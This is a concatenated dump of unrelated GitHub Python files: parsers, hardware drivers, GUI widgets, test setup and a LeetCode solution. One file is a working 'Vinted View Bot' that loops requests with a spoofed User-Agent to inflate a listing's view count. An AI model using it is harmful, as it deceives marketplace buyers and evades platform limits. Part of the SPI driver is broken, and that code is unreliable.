Parser.tokenizer.selectNext()\n else:\n raise Exception(\"Não terminou com quebra de linha\")\n while True:\n if Parser.tokenizer.next.type == \"FIM\":\n Parser.tokenizer.selectNext()\n break\n if Parser.tokenizer.next.type == \"SeNumFor\":\n break\n statement_val = Parser.parseStatement()\n ifblock.children.append(statement_val)\n \n if Parser.tokenizer.next.type == \"SeNumFor\":\n Parser.tokenizer.selectNext()\n elseblock = Block(None,[])\n if Parser.tokenizer.next.type == \"QL\":\n Parser.tokenizer.selectNext()\n while True:\n if Parser.tokenizer.next.type == \"FIM\":\n Parser.tokenizer.selectNext()\n break\n statement_val = Parser.parseStatement()\n elseblock.children.append(statement_val)\n return IfNode(\"SoSe\",[resul_rel,ifblock,elseblock])\n\n return IfNode(\"ArrochaEnquanto\",[resul_rel,ifblock])\n\n else:\n return Parser.parseBlock()\n\n\n @ staticmethod\n def run(code):\n Parser.tokenizer = Tokenizer(code)\n Parser.tokenizer.selectNext()\n symboltable = SymbolTable()\n resultado_final = Parser.parseBlock()\n if Parser.tokenizer.next.type != \"EOF\":\n raise Exception(\"não consumiu até o fim\")\n resultado_final.Evaluate(symboltable)\n\n\nclass PrePro:\n @staticmethod\n def filter(source):\n comentario = False\n texto_novo = \"\"\n for i in range(len(source)):\n if source[i] == \"#\":\n comentario = True\n if source[i] == \"\\n\":\n comentario = False\n if comentario == False:\n texto_novo += source[i]\n texto_novo = texto_novo + \"\\n\"\n\n linhas = texto_novo.splitlines()\n linhas_sem_branco = [linha for linha in linhas if linha.strip()]\n\n texto_sem_branco = '\\n'.join(linhas_sem_branco) + '\\n'\n \n return texto_sem_branco\n\n\n\n\ndef main(argv):\n file_name = argv[1]\n # file_name = \"input.jl\"\n with open(file_name, \"r\") as file:\n source = file.read()\n prepro = PrePro()\n param = prepro.filter(source)\n Parser.run(param)\n # parser = Parser()\n # resultado_main = parser.run(param)\n # resultado_main.Evaluate(symbol_table)\n\nif __name__ == '__main__':\n main(sys.argv)","repo_name":"guilhermecarvalhoacc/APS_LogComp_gui_23","sub_path":"Nordesthon.py","file_name":"Nordesthon.py","file_ext":"py","file_size_in_byte":29489,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"74732765444","text":"#\n# Emulate a SPI interface by directly manipulate IO Pins\n#\nimport pyb\n\nclass SPI:\n\n DEBUG = True\n def __init__(self, SCK, MOSI, MISO, mode=pyb.SPI.MASTER, polarity=1, phase=0, firstbit = pyb.SPI.MSB, debug=True):\n if mode == pyb.SPI.SLAVE:\n raise ValueError(\"SPI slave is not supported for bit bang\")\n self.mode = pyb.SPI.MASTER\n self.sck = SCK\n self.mosi = MOSI\n self.miso = MISO\n self.polarity = 1 if polarity>0 else 0\n self.phase = i if phase>0 else 0\n self.firstbit = pyb.SPI.LSB if firstbit == pyb.SPI.LSB else pyb.SPI.MSB\n self.sck.value(self.polarity)\n self.DEBUG=debug\n if self.DEBUG:\n print(\"firstbit = %s\" % 'LSB' if self.firstbit == pyb.SPI.LSB else 'MSB')\n\n\n def _bus_io(self, in_data = None, out_data = None):\n if in_data is None and out_data is None:\n raise ValueError(\"in_data and out_data both None\")\n cnt = len(in_data) if in_data is not None else len(out_data)\n if self.DEBUG:\n print(\"firstbit = %s\" % 'LSB' if self.firstbit == pyb.SPI.LSB else 'MSB')\n for byte_nr in range(cnt):\n if self.DEBUG:\n print(\"Byte[%2d]:\" % byte_nr)\n in_value = 0\n out_value = 0 if out_data is None else out_data[byte_nr]\n for bit_nr in range(8):\n shift_cnt = bit_nr if self.firstbit==pyb.SPI.LSB else (7-bit_nr)\n bit_value = 0 if (out_value&(1<0 else 1)\n if self.phase == 0:\n self.mosi.value(bit_value)\n in_value |= self.miso.value()\n self.sck.value(clk_value)\n if self.phase == 1:\n self.mosi.value(bit_value)\n in_value |= self.miso.value()\n if self.DEBUG:\n print(\" > Bit[%d] = %d, %d\" % (bit_nr, bit_value, shift_cnt))\n if in_data is not None:\n in_data[byte_nr] = in_value\n return in_data\n\n\n def recv(self, recv):\n if isinstance(recv, int):\n res =bytearray(recv)\n elif isinstance(recv, bytearray):\n res = recv\n else:\n raise ValueError(\"Unsupported recv datatyep %s\" % (type(recv)))\n return self._bus_io(res)\n\n def send(self, send):\n if isinstance(send, int):\n data = [send,]\n elif isinstance(send, bytearray):\n data = send\n else:\n raise ValueError(\"Unsupported send datatyep %s\" % (type(recv)))\n return self._bus_io(None, data)\n\n def send_recv(self, send, recv=None):\n if recv is None:\n recv = bytearray(len(send))\n return self._bus_io(send, recv)\n","repo_name":"tobbad/micropython_lib","sub_path":"lib/bitbang.py","file_name":"bitbang.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"99"} +{"seq_id":"21493447008","text":"from .layer_base import LayerBase\nfrom ..widgets import TripleToggleEye, ToggleEye, FractionSelectionBar\nfrom ..pixel_path import *\nfrom .layer_controller import *\nimport pyqtgraph as pg\nimport os\nfrom pyqtgraph.Qt import QtCore, QtGui\nimport numpy\n\n###############################################################################\nfrom builtins import range\n\n# from past.utils import old_div\nimport warnings\nfrom PyQt5.QtCore import (\n pyqtSignal,\n Qt,\n QEvent,\n QRect,\n QSize,\n QTimer,\n QPoint,\n QItemSelectionModel,\n)\nfrom PyQt5.QtGui import QPainter, QFontMetrics, QFont, QPalette, QMouseEvent, QPixmap\nfrom PyQt5.QtWidgets import (\n QStyledItemDelegate,\n QWidget,\n QListView,\n QStyle,\n QLabel,\n QGridLayout,\n QSpinBox,\n QApplication,\n)\n\n\nclass MultiChannelImageLayer(LayerBase):\n class CtrlWidget(LayerItemWidget):\n def __init__(self, name):\n super().__init__(\n name=name, add_gradient_widgtet=True, channel_selector=True\n )\n\n self.asRgb = QtGui.QCheckBox()\n self.asRgb.setToolTip(\"Show As RGB\")\n self._layout.addWidget(self.asRgb, 3, 0)\n\n def __init__(\n self,\n name,\n data=None,\n autoLevels=True,\n levels=None,\n autoHistogramRange=False,\n cmap=None,\n ):\n super().__init__(name=name)\n\n self.current_channel = 0\n self.as_rgb = False\n self.m_data = data\n self.m_autoLevels = autoLevels\n self.m_levels = levels\n self.m_autoHistogramRange = autoHistogramRange\n self.m_image_item = pg.ImageItem()\n if self.m_data is not None:\n\n self.m_image_item.setImage(\n self.m_data[..., self.current_channel],\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n )\n\n self.m_ctrl_widget = MultiChannelImageLayer.CtrlWidget(name=self.name)\n self.viewer = None\n\n self.cmap = cmap\n if self.cmap is not None:\n self.m_ctrl_widget.gradientWidget.loadPreset(self.cmap)\n\n # setup ctrl widget\n w = self.m_ctrl_widget\n if self.m_data is not None:\n w.channelSelector.setRange(0, self.m_data.shape[2] - 1)\n w.toggleEye.setActive(True)\n\n def toogleEyeChanged(state):\n if self.viewer.m_exlusive_layer is not None:\n self.viewer.m_exlusive_layer.setVisible(True)\n self.viewer.m_exlusive_layer = None\n if state == 2:\n self.viewer.showAndHideOthers(self.name)\n else:\n self.setVisible(bool(state))\n\n w.toggleEye.stateChanged.connect(toogleEyeChanged)\n\n def channelChanged(channel):\n if not self.as_rgb:\n self.current_channel = channel\n if self.m_data is not None:\n self.m_image_item.setImage(\n self.m_data[..., self.current_channel],\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n autoHistogramRange=self.m_autoHistogramRange,\n )\n\n w.channelSelector.valueChanged.connect(channelChanged)\n\n def asRgbChanged(as_rgb):\n self.as_rgb = bool(as_rgb)\n self.m_ctrl_widget.channelSelector.setEnabled(not self.as_rgb)\n self.m_ctrl_widget.gradientWidget.setEnabled(not self.as_rgb)\n if self.as_rgb:\n self.m_image_item.setLookupTable(None)\n self.m_image_item.setImage(\n self.m_data,\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n autoHistogramRange=self.m_autoHistogramRange,\n )\n else:\n lut = w.gradientWidget.getLookupTable(512)\n self.m_image_item.setLookupTable(lut)\n self.m_image_item.setImage(\n self.m_data[..., self.current_channel],\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n autoHistogramRange=self.m_autoHistogramRange,\n )\n\n w.asRgb.stateChanged.connect(asRgbChanged)\n w.bar.fractionChanged.connect(self.setOpacity)\n\n def update():\n lut = w.gradientWidget.getLookupTable(512)\n self.m_image_item.setLookupTable(lut)\n\n w.gradientWidget.sigGradientChanged.connect(update)\n w.layer = self\n\n def ctrl_widget(self):\n return self.m_ctrl_widget\n\n def get_image_item(self):\n return self.m_image_item\n\n def updateData(self, image):\n self.m_data = image\n self.m_ctrl_widget.channelSelector.setRange(0, self.m_data.shape[2] - 1)\n self.m_image_item.updateImage(image[..., self.current_channel])\n self.update_rgb_enabled()\n\n def setData(self, image):\n self.m_data = image\n\n if image is None:\n self.m_image_item.clear()\n # self.m_image_item.setImage(None, autoLevels=self.m_autoLevels,\n # levels=self.m_levels, autoHistogramRange=self.m_autoHistogramRange)\n else:\n self.m_ctrl_widget.channelSelector.setRange(0, self.m_data.shape[2] - 1)\n\n if self.as_rgb:\n self.m_image_item.setImage(\n image,\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n autoHistogramRange=self.m_autoHistogramRange,\n )\n else:\n self.m_image_item.setImage(\n image[..., self.current_channel],\n autoLevels=self.m_autoLevels,\n levels=self.m_levels,\n autoHistogramRange=self.m_autoHistogramRange,\n )\n self.update_rgb_enabled()\n\n def update_rgb_enabled(self):\n if len(self.m_data.shape) == 3 and self.m_data.shape[2] > 4:\n self.m_ctrl_widget.asRgb.setEnabled(False)\n else:\n self.m_ctrl_widget.asRgb.setEnabled(True)\n","repo_name":"DerThorsten/layer_viewer","sub_path":"layer_viewer/layers/multi_channel_image_layer.py","file_name":"multi_channel_image_layer.py","file_ext":"py","file_size_in_byte":6128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"70763734725","text":"from appium import webdriver\nfrom common.common_fun import *\n\n\ndef desired_cap():\n \"\"\"\n 启动对应APP\n :return: driver\n \"\"\"\n data = get_data(\"desired_caps.yaml\")\n # 启动app参数\n desired_caps = {\n 'platformName': data['platformName'],\n 'platformVersion': data['platformVersion'],\n 'deviceName': data['deviceName'],\n 'noReset': data['noReset'],\n # 'unicodeKeyboard': data['unicodeKeyboard'],\n # 'resetKeyboard': data['resetKeyboard'],\n 'dontStopAppOnReset': data['dontStopAppOnReset'],\n 'settings[waitForIdleTimeout]': data['settings[waitForIdleTimeout]'],\n 'appPackage': data['appPackage'],\n 'appActivity': data['appActivity'],\n 'ensureWebviewsHavePages': data['ensureWebviewsHavePages']\n # 'newCommandTimeout': data['newCommandTimeout']\n }\n\n driver = webdriver.Remote('http://'+str(data['ip'])+':'+str(data['port'])+'/wd/hub', desired_caps)\n return driver\n\n\nif __name__ == '__main__':\n desired_cap()","repo_name":"xiakb/HogwartsAppium","sub_path":"common/desired_cap.py","file_name":"desired_cap.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"73240730244","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def kthSmallest(self, root: Optional[TreeNode], k: int) -> int:\n st, p = [root], root\n while p.left:\n p = p.left\n st.append(p)\n while st:\n if k == 1:\n return st[-1].val\n last = st.pop()\n k -= 1\n p = last\n if p.right:\n p = p.right\n st.append(p)\n while p.left:\n p = p.left\n st.append(p)\n return -1\n\n","repo_name":"chiahsun/problem_solving","sub_path":"LeetCode/230. Kth Smallest Element in a BST/solve2.py","file_name":"solve2.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"14807201815","text":"from tkinter import *\nimport json\nimport os\n\n\nclass TkinterInterface:\n def __init__(self, pakosti, start_func):\n with open(os.path.abspath('data.json'), 'r') as f:\n self.data = json.load(f)\n print(os.path.abspath('data.json'))\n self.pakosti = pakosti\n self.start_func = start_func\n self.root = Tk()\n self.spin_var1 = IntVar()\n self.spin_var2 = IntVar()\n self.spin_var1.set(self.data['allowable_time'])\n self.spin_var2.set(self.data['timeout'])\n\n self.root.geometry('700x400')\n self.root.title(self.data['title'])\n self.heading_lbl = Label(self.root, text=self.data['title'], fg='red', font='Arial 25')\n self.heading_lbl.grid(row=0, column=0, sticky='NSWE')\n self.time_lbl = Label(self.root, text='Допустимое время бездействия(в минутах):', font='Arial 13')\n self.time_lbl.grid(row=1, column=0)\n self.time_spinbox = Spinbox(self.root, from_=1, to=600, width=7, textvariable=self.spin_var1)\n self.time_spinbox.grid(row=1, column=1)\n self.time_lbl = Label(self.root, text='Таймаут между пакостями(в минутах):', font='Arial 13')\n self.time_lbl.grid(row=2, column=0)\n self.pakosti_time_spinbox = Spinbox(self.root, from_=1, to=600, width=7, textvariable=self.spin_var2)\n self.pakosti_time_spinbox.grid(row=2, column=1)\n self.pakosti_lbl = Label(self.root, text='Пакости, которые будет использовать программа:', font='Arial 13')\n self.pakosti_lbl.grid(row=3, column=0)\n self.pakosti_checkbuttons = []\n ln = len(self.pakosti)\n self.pakosti_states = [BooleanVar() for _ in range(ln)]\n for i in range(ln):\n self.pakosti_states[i].set(pakosti[i] in self.data['selected_pakosti'])\n self.pakosti_checkbuttons.append(Checkbutton(self.root, text=pakosti[i], var=self.pakosti_states[i]))\n self.pakosti_checkbuttons[i].grid(row=i + 3, column=1)\n\n save_but = Button(self.root, text='Сохранить изменения', font='Arial 11', command=self.save_pakosti)\n save_but.grid(row=ln + 4, column=0, sticky='NSWE')\n start_but = Button(self.root, text='Старт!', font='Arial 11', fg='red', command=self.start_func)\n start_but.grid(row=ln + 4, column=1, sticky='NSWE')\n self.root.mainloop()\n\n def save_pakosti(self):\n self.data['selected_pakosti'] = []\n for i in range(len(self.pakosti_checkbuttons)):\n if self.pakosti_states[i].get():\n self.data['selected_pakosti'].append(self.pakosti_checkbuttons[i][\"text\"])\n self.data['allowable_time'] = int(self.time_spinbox.get())\n self.data['timeout'] = int(self.pakosti_time_spinbox.get())\n print(self.data)\n with open(os.path.abspath('data.json'), 'w') as f:\n json.dump(self.data, f)\n","repo_name":"Zhuchokk/Write-or-die","sub_path":"Tkinter/ProgramInterface.py","file_name":"ProgramInterface.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29478537083","text":"import tkinter as tk\nimport threading\nimport requests\nimport time\nfrom bs4 import BeautifulSoup\nimport json, os\n\n\nclass VintedGUI:\n def __init__(self, master):\n try:\n with open('config.json', 'r') as json_file:\n data = json.load(json_file)\n self.delay = data['delay']\n\n except FileNotFoundError:\n self.delay = 1000\n data = {}\n data['delay'] = self.delay\n with open('config.json', 'w') as json_file:\n json.dump(data, json_file)\n\n \n self.master = master\n\n master.title(\"Vinted View Bot\")\n\n self.thread_id = 1\n self.ctr = 0\n self.running = False # Flag to control the bot loop\n self.stop_event = threading.Event() # Event to signal stop\n\n frame_top = tk.Frame(master)\n frame_top.pack(fill=tk.X, padx=15, pady=10)\n\n self.label = tk.Label(frame_top, text=\"Vinted Link:\")\n self.label.grid(row=0, column=0)\n\n self.entry = tk.Entry(frame_top)\n self.entry.grid(row=0, column=1, sticky=\"ew\")\n\n self.label_delay = tk.Label(frame_top, text=\"Delay (milliseconds):\")\n self.label_delay.grid(row=0, column=2)\n\n self.entry_delay = tk.Entry(frame_top, width=4)\n self.entry_delay.grid(row=0, column=3)\n\n self.entry_delay.insert(0, self.delay)\n \n self.save_button = tk.Button(frame_top, text=\"Save\", command=self.save_delay)\n self.save_button.grid(row=0, column=4)\n\n frame_top.columnconfigure(1, weight=1) \n\n # Add a new label under the Entry field to display messages\n self.message_label = tk.Label(frame_top, text=\"\")\n self.message_label.grid(row=1, column=0, columnspan=5)\n\n self.start_button = tk.Button(master, text=\"Start\", command=self.start_bot)\n self.start_button.pack()\n\n self.stop_button = tk.Button(master, text=\"Stop\", command=self.stop_bot, state=tk.DISABLED)\n self.stop_button.pack()\n\n frame_left = tk.Frame(master)\n frame_left.pack(side=tk.LEFT, padx=15)\n\n self.label_logs = tk.Label(frame_left, text=\"Logs\")\n self.label_logs.pack()\n\n self.status_text = tk.Text(frame_left, height=10, width=50)\n self.status_text.pack()\n\n frame_right = tk.Frame(master)\n frame_right.pack(side=tk.RIGHT, padx=15)\n\n self.label_urls = tk.Label(frame_right, text=\"Urls saved\")\n self.label_urls.pack()\n\n self.url_text = tk.Text(frame_right, height=10, width=50)\n self.url_text.pack()\n\n self.url_text.bind(\"\", self.copy_url)\n\n window_width = 800\n window_height = 300\n screen_width = master.winfo_screenwidth()\n screen_height = master.winfo_screenheight()\n x_position = int((screen_width - window_width) / 2)\n y_position = int((screen_height - window_height) / 2)\n master.geometry(f\"{window_width}x{window_height}+{x_position}+{y_position}\")\n master.minsize(window_width, window_height)\n master.pack_propagate(False)\n\n self.load_urls()\n\n def save_delay(self):\n try:\n self.delay = int(self.entry_delay.get())\n self.message_label.config(text=\"Saved\", fg=\"green\")\n try:\n with open('config.json', 'r') as json_file:\n data = json.load(json_file)\n except FileNotFoundError:\n data = {} # If the file doesn't exist, start with an empty dictionary\n\n # Update the delay value and write back to the file\n data['delay'] = self.delay\n with open('config.json', 'w') as json_file:\n json.dump(data, json_file)\n\n print(f\"Delay set to {self.delay} seconds\")\n \n except ValueError:\n print(\"Invalid input for delay. Please enter a number.\")\n self.message_label.config(text=\"Invalid input. Please enter a number.\", fg=\"red\")\n return\n def load_urls(self):\n script_dir = os.path.dirname(os.path.abspath(__file__))\n file_path = os.path.join(script_dir, \"vinted_urls.txt\")\n\n try:\n with open(file_path, \"r\") as file:\n urls = file.readlines()\n self.url_text.insert(tk.END, \"\\n\".join(urls))\n except FileNotFoundError:\n self.url_text.insert(tk.END, \"vinted_urls.txt not found.\")\n\n def copy_url(self, event):\n index = self.url_text.index(tk.CURRENT)\n url = self.url_text.get(index + \"linestart\", index + \"lineend\").strip()\n self.entry.delete(0, tk.END)\n self.entry.insert(0, url)\n\n self.url_text.tag_remove(\"highlight\", 1.0, tk.END) # Remove previous highlight\n self.url_text.tag_add(\"highlight\", index + \"linestart\", index + \"lineend\") # Add highlight tag\n self.url_text.tag_config(\"highlight\", background=\"yellow\") # Configure highlight style\n\n def start_bot(self):\n print(\"Start Bot\")\n \n # Get the URL from the input field\n url = self.entry.get()\n \n # Load existing URLs\n try:\n with open('vinted_urls.txt', 'r') as f:\n urls = f.read().splitlines()\n except FileNotFoundError:\n urls = [] # If the file doesn't exist, start with an empty list\n \n # If the URL is not in the file, append it\n if url not in urls:\n with open('vinted_urls.txt', 'a') as f:\n f.write(url + '\\n')\n self.url_text.insert('end', url + '\\n')\n self.vinted_link = self.entry.get()\n self.start_button.config(state=tk.DISABLED)\n self.stop_button.config(state=tk.NORMAL)\n\n self.running = True # Set the flag to True\n self.stop_event.clear() # Clear the stop event\n\n self.thread = threading.Thread(target=self.run_bot)\n self.thread.daemon = True\n self.thread.start()\n\n def stop_bot(self):\n self.start_button.config(state=tk.NORMAL)\n self.stop_button.config(state=tk.DISABLED)\n\n self.running = False # Set the flag to False\n self.stop_event.set() # Set the stop event\n\n def run_bot(self):\n session = requests.Session()\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36\"\n }\n\n \n while self.running and not self.stop_event.is_set():\n try:\n \n r = session.get(self.vinted_link, headers=headers)\n \n if r.status_code == 200:\n soup = BeautifulSoup(r.content, 'html.parser')\n json_data = json.loads(soup.find('script',{'data-component-name':'ItemDeleteButton'}).text)\n product_views = json_data['item']['view_count']\n product_name = json_data['item']['title']\n\n if product_name:\n self.ctr += 1\n self.safe_print(\"Added 1 view to product '{}' with {} views. Total views added: {}\".format(product_name, product_views, self.ctr))\n self.update_status(\"Added 1 view to product '{}' with {} views. Total views added: {}\\n\".format(product_name, product_views, self.ctr))\n time.sleep((float(self.delay))/1000)\n else:\n self.safe_print(\"Failed to retrieve product information.\")\n self.update_status(\"Failed to retrieve product information.\\n\")\n time.sleep((float(self.delay))/1000)\n \n elif r.status_code == 429:\n self.safe_print(\"IP address rate limited: {}\".format(self.vinted_link))\n self.update_status(\"IP address rate limited: {}\\n\".format(self.vinted_link))\n time.sleep(4)\n else:\n self.safe_print(\"Error: {}\".format(r.status_code))\n self.update_status(\"Error: {}\\n\".format(r.status_code))\n time.sleep(3)\n except Exception as e:\n print(e)\n self.safe_print(\"Request failed, retrying: {}\".format(r.status_code))\n self.update_status(\"Request failed, retrying: {}\\n\".format(r.status_code))\n time.sleep((float(self.delay))/1000)\n\n\n def safe_print(self, text):\n print(text)\n\n def update_status(self, text):\n self.master.after(0, lambda: self.status_text.configure(state=\"normal\")) # Enable editing\n self.master.after(0, lambda: self.status_text.insert(tk.END, text))\n self.master.after(0, lambda: self.status_text.configure(state=\"disabled\")) # Disable editing\n self.master.after(0, lambda: self.status_text.see(tk.END)) # Scroll to the end of the text\n\n\nif __name__ == \"__main__\":\n root = tk.Tk()\n vinted_gui = VintedGUI(root)\n root.mainloop()\n\n","repo_name":"simonsruggi/Vinted-Views-Generator","sub_path":"vinted_gui.py","file_name":"vinted_gui.py","file_ext":"py","file_size_in_byte":8981,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"99"} +{"seq_id":"6174650140","text":"import numpy as np\n\nnmax=20 #number of zn to calculate in series\nmaxval=5 #maximum allowed value\n#defining ranges of real and imaginary parts of c\nxmin=-2\nxmax=2\nymin=-2\nymax=2\nxnum=10000\nynum=10000\nxinter=float(xmax-xmin)/(float(xnum))\nyinter=float(ymax-ymin)/(float(ynum))\nxvals=np.arange(xmin,xmax,xinter)\nyvals=np.arange(ymin,ymax,yinter)*1j\n#creating matrix of c values\nxx,yy=np.meshgrid(xvals,yvals)\n\n#function that returns c values\ndef zn(cx,cy,n,maxval):\n zlast=cx+cy\n i = 0\n while abs(zlast) largest:\n larger = largest\n largest = number\n\n if number < largest:\n if number > larger:\n larger = number\n number = int(input(\"Enter a number or -1 to quit the program: \"))\n\n print(f\"The Second largest is {larger}\")\n\n","repo_name":"Kinsammy/SemicolonClassWork","sub_path":"PythonSolutions/level_one/second_largest.py","file_name":"second_largest.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"25406073498","text":"from django.urls import path, re_path\nfrom . import views\n\nurlpatterns = [\n path('', views.title_screen),\n re_path(r'^worldmap/?$', views.world_map),\n path('battle//', views.battle),\n path('load_game/', views.load),\n path('moviedex/', views.moviedex),\n path('moviedex/', views.details),\n path('options/', views.options),\n path('save_game/', views.save)\n\n]","repo_name":"gvannest/42-projects","sub_path":"piscine_python_django/rush00/movieMon/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"32340745552","text":"import abc\r\nfrom utils import *\r\nfrom FeatureExtraction import *\r\nfrom SignalProcessing import *\r\nfrom h_params import *\r\nfrom abc import ABC, abstractmethod\r\n\r\n\r\nclass Tempo(Score):\r\n scoreType = \"tempo\"\r\n\r\n def __init__(self, y, configs):\r\n self.y = y\r\n self.config = configs\r\n self.prevScore = dummy_prev # getPrevScore()\r\n self.compute()\r\n self.coachingTip()\r\n\r\n def compute(self):\r\n xp = peaks(self.y)\r\n xp = [int(i) for i in xp]\r\n curr_tempo = []\r\n for i in range(1, len(xp)):\r\n curr_tempo.append(xp[i] - xp[i - 1])\r\n self.currScore = np.var(curr_tempo)\r\n avg = sum(curr_tempo) / len(curr_tempo) if len(curr_tempo) else 0\r\n self.currScore /= avg\r\n self.currScore *= 100\r\n self.currScore = 100 - self.currScore\r\n self.currScore = clip100(self.currScore)\r\n return curr_tempo, avg, self.currScore\r\n\r\n # config variatitons: peaks\r\n\r\n def coachingTip(self):\r\n self.coachingTipRes = coachingTipTemplate(Tempo.scoreType, self.currScore)\r\n return self.coachingTipRes\r\n\r\n def userProfileScore(self):\r\n return userProfileTemplate(self.currScore, self.prevScore)\r\n\r\n def score(self):\r\n return self.currScore\r\n\r\n def subScores(self):\r\n res = {}\r\n res[Tempo.scoreType] = {}\r\n self.compute()\r\n res[Tempo.scoreType][\"score\"] = self.currScore\r\n res[Tempo.scoreType][\"coachingTip\"] = self.coachingTipRes\r\n return res\r\n\r\n\r\nclass TempoFactory():\r\n def configuredObject(y, configs):\r\n usingScipyPeaks = configs[\"scipyPeaks\"]\r\n if usingScipyPeaks:\r\n global peaks\r\n currPeaks = peaks\r\n peaks = scipyPeaks\r\n tempo = Tempo(y, configs)\r\n if usingScipyPeaks:\r\n peaks = currPeaks\r\n\r\n return tempo","repo_name":"AmanVerma0512/User-Exercises","sub_path":"Tempo.py","file_name":"Tempo.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36793437987","text":"import logging, time\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass WorkPeriodTimerError(Exception):\n \"\"\"\n A custom exception used to report errors in use of Timer class.\n \"\"\"\n\n\nclass WorkPeriodTimer():\n \"\"\"\n Times workperiods.\n \"\"\"\n\n time_start = None\n time_end = None\n\n def start(self):\n if self.time_start is not None:\n raise WorkPeriodTimerError(\"A workperiod was already started.\" +\n \" Stop the current period before starting another.\")\n self.time_start = time.time()\n logger.info(\"Started a job at %H:%M:%S\", self.time_start)\n \n def stop(self):\n if self.time_start is None:\n raise WorkPeriodTimerError(\"Can't stop a workperiod that wasn't\" +\n \" started first. Start a new period before stopping it.\")\n self.time_end = time.time()\n logger.info(\"Stopped a job at %H:%M:%S\", self.time_end)\n \n def time(self):\n if self.time_start is None or self.time_end is None:\n raise WorkPeriodTimerError(\"Not enough data available to report\" +\n \" the time spent. Did you start and stop a work period ?\")\n elapsed_time = self.time_end - self.time_start\n logger.info(\"Worked for %H:%M:%S on a job\", elapsed_time)\n return elapsed_time\n\n","repo_name":"sverholen/redclock","sub_path":"apps/timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"29443505263","text":"import os\n\nfrom pytorch_lightning import LightningDataModule\nfrom torch.utils.data.dataloader import DataLoader\n\nfrom chatbot_tutorial_code.chatbot_tutorial import build_pairs_voc, batch2TrainData, \\\n load_and_trim, build_train_batches\nfrom chatbot_tutorial_code.load_preprocess_data import write_formatted_data, \\\n loadPrepareData\n\n\n\nclass Seq2SeqDataModule(LightningDataModule):\n\n def __init__(\n self,\n corpus_name=\"cornell movie-dialogs corpus\",\n data_dir=os.environ.get(\"DATA_DIR\", \"data\"),\n num_workers: int = 0,\n normalize: bool = False,\n seed: int = 42,\n batch_size=32,\n n_iteration = 10,\n *args,\n **kwargs,\n ):\n super().__init__(*args)\n self.batch_size = batch_size\n self.data_dir = data_dir\n print(data_dir)\n self.corpus_name = corpus_name\n self.num_workers = num_workers\n self.normalize = normalize\n self.seed = seed\n self.datafile = None\n self.n_iteration = n_iteration\n\n @property\n def num_classes(self):\n return 10\n\n def prepare_data(self):\n corpus = os.path.join(self.data_dir, self.corpus_name)\n self.datafile = os.path.join(corpus, \"formatted_movie_lines.txt\")\n if not os.path.isfile(self.datafile):\n write_formatted_data(corpus, self.datafile)\n\n\n def train_dataloader(self):\n pairs,voc = load_and_trim(self.corpus_name,self.datafile)\n\n def collate_fn(samples):\n return batch2TrainData(voc,samples)\n\n loader = DataLoader(\n pairs,\n collate_fn=collate_fn,\n batch_size=self.batch_size,\n shuffle=False,\n num_workers=self.num_workers,\n drop_last=True,\n pin_memory=True,\n )\n return loader\n\n","repo_name":"dertilo/lit-seq2seq","sub_path":"seq2seq_datamodule.py","file_name":"seq2seq_datamodule.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"12713464472","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom simpleflow import format\nfrom simpleflow.swf.mapper.models.decision.base import Decision, decision_action\n\nif TYPE_CHECKING:\n from simpleflow.swf.mapper.models.activity import ActivityType\n\n\nclass ActivityTaskDecision(Decision):\n _base_type = \"ActivityTask\"\n\n @decision_action\n def request_cancel(self, activity_id: str) -> None:\n \"\"\"Request activity task cancel decision builder\n\n :param activity_id: activity task to be canceled id\n \"\"\"\n self.update_attributes(\n {\n \"activityId\": activity_id,\n }\n )\n\n @decision_action\n def schedule(\n self,\n activity_id: str,\n activity_type: ActivityType,\n control: dict[str, Any] | None = None,\n heartbeat_timeout: str | None = None,\n input: dict[str, Any] | None = None,\n duration_timeout: str | None = None,\n schedule_timeout: str | None = None,\n task_timeout: str | None = None,\n task_list: str | None = None,\n task_priority: str | int | None = None,\n ):\n \"\"\"Schedule activity task decision builder\n\n :param activity_id: activity id of the activity task\n :param activity_type: type of the activity task to schedule\n :param control: data attached to the event that can be used by the decider in subsequent workflow tasks\n :param heartbeat_timeout: Specifies the maximum time before which a worker processing a task of this type must\n report progress\n :param input: input provided to the activity task\n :param duration_timeout: Maximum duration for this activity task\n :param schedule_timeout: Specifies the maximum duration the activity task can wait to be assigned to a worker\n :param task_timeout: Specifies the maximum duration a worker may take to process this activity 